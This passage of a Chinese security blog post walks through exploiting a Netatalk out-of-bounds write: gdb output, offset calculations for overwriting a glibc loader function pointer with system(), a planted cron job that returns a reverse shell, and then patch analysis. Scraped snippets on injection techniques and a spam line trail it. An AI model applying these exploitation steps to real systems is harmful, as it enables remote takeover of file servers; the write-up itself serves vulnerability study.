0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80  "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80  "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80  "cmd", adflags=0x283) at ad_open.c:1895#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 , ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 ) at afp_dsi.c:627#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 , dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417
    

    可以看到,程序試圖調用位于0x4141414141414000處的函數


    gef?  x /i $pc=> 0x7efeac84c59d <_dl_open+61>:        call   QWORD PTR [rip+0x199c5]        # 0x7efeac865f68 <_rtld_global+3848>gef?  x /gx 0x7efeac865f680x7efeac865f68 <_rtld_global+3848>:     0x4141414141414000gef?
    

    在https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open函數源碼,該處為_dl_open函數試圖通過函數指針調用__rtld_lock_lock_recursive指向的函數并把_dl_load_lock地址作為指針參數傳入該函數內。


    void *_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid,          int argc, char *argv[], char *env[]){  if ((mode & RTLD_BINDING_MASK) == 0)    /* One of the flags must be set.  */    _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()"));  /* Make sure we are alone.  */  __rtld_lock_lock_recursive (GL(dl_load_lock));
    

    _rtld_global地址為0x7efeac865060


    gef?  p &_rtld_global$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global
    

    __rtld_lock_lock_recursive 函數指針及參數dl_load_lock均為全局變量_rtld_global的成員

    #  define GL(name) _rtld_local._##name# else#  define GL(name) _rtld_global._##name定義在_rtld_local=_rtld_global
    

    初始化過的全局變量存放在.data段,在ld.so中.data段的偏移為0x2e060

    此時可以利用任意寫將獲取到的system函數地址覆蓋到__rtld_lock_lock_recursive 內,并且將要執行的命令放入_dl_load_lock 即可造成命令執行。

    命令執行

    此前說過任意寫是將map + ad.ADEID_RFORK.off 處長為ad.ADEID_RFORK.len的數據寫入到map + ad.ADEID_FINDERI.off + 0x20 內,而在分配大小小于0x1000情況下,mmap函數分配的內存剛好在data段上面,此時mmap分配的內存地址距離要覆蓋的_dl_load_lock 參數為0x2968,以此可得ad.ADEID_FINDERI.off=0x2948


    $7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>gef?  p &_rtld_global._dl_load_lock Quitgef?  p 0x7efeac865968 - 0x7efeac863000$8 = 0x2968
    

    同時還要覆蓋到__rtld_lock_lock_recursive 函數指針,測算可得至少需要復制0x600的長度才能覆蓋到函數指針,此處可以設置復制長度為0x620


    gef?  p &_rtld_global._dl_rtld_lock_recursive$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>gef?  p 0x7efeac865f68 - 0x7efeac863000$11 = 0x2f68gef?  p 0x2f68 - 0x2968$12 = 0x600
    

    利用上述偏移,加上計算得到的system函數地址,生成可用文件,如下:

    此時在目標主機內已有了該定時任務,在攻擊機上監聽2333端口即可收到反彈的shell

    十三、補丁分析

    在Netatalk3.1.13版本中修復了該漏洞,在新版本中,先檢查if中的條件而后給ad指向的結構體賦值,如果if中條件為真,也就是可能發生了越界則直接打印錯誤消息而后return -1,只有if條件不滿足才繼續賦值,從而防止了adouble結構體含有不正確的偏移,在外層函數獲取到的偏移在范圍內從而修復了該漏洞。

    十四、函數解釋

    **void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)// dest指向要復制的目標內存,src指向要復制的數據內存,n為要復制的大小(字節)// 如果dest和src指向的內存重疊,該函數仍然可以正常處理,邏輯如下
    char str[] = "memmove can be very useful......";memmove (str+20,str+15,11);// 輸出為 memmove can be very very useful.
    

    十五、參考鏈接

    https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open
    https://nosec.org/home/detail/4997.html
    https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/
    函數調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    Win32k組件最初的設計和編寫是完全建立的用戶層上的,但是微軟在 Windows NT 4.0 的改變中將 Win32k.sys 作為改變的一部分而引入,用以提升圖形繪制性能并減少 Windows 應用程序的內存需求。窗口管理器(User)和圖形設備接口(GDI)在極大程度上被移出客戶端/服務端運行時子系統(CSRSS)并被落實在它自身的一個內核模塊中。
    結構&拷貝與引用
    2023-05-10 11:27:04
    結構&拷貝與引用開始之前,我們約定數據塊也叫插槽,也就是storage。storage是永久存儲在區塊鏈上的地方。Stack 的最大深度為 1024 個元素,支持 256 位的字長。結構當定義局部變量時,它存儲在內存中,然后壓入堆棧以執行。1024棧深簡介EVM不是寄存器機而是堆棧機,所以所有的計算都在稱為堆棧的數據區域上進行。1024 是一個非常保守的值,以盡可能安全EVM 的設計方式往往會使更大的堆棧變得無用。EVM 只能訪問堆棧中前16個slot。
    可是當我們開啟了smap保護之后,內核態就沒有辦法訪問用戶態的數據,此時當我們再hijack tty_operation到我們的用戶態時,我們的kernel就會panic,更別說劫持執行流到用戶態上執行rop了。當我們調用msgsnd時,在linux內核中會調用do_msgsnd。
    本篇針對該JS中的字符串混淆進行還原。字符串是如何混淆的解密方式想要對字符串反混淆就要先分析該樣本是如何對字符串進行混淆的。而處于全局作用域的_0x1f1a68實際上也是對另一個函數的調用。
    當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。往線程APC隊列添加APC,系統會產生一個軟中斷。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。
    01高門檻,勿入在Cisco平臺上有一個很有用的Traceback log功能,實時記錄當前Code運行到特
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类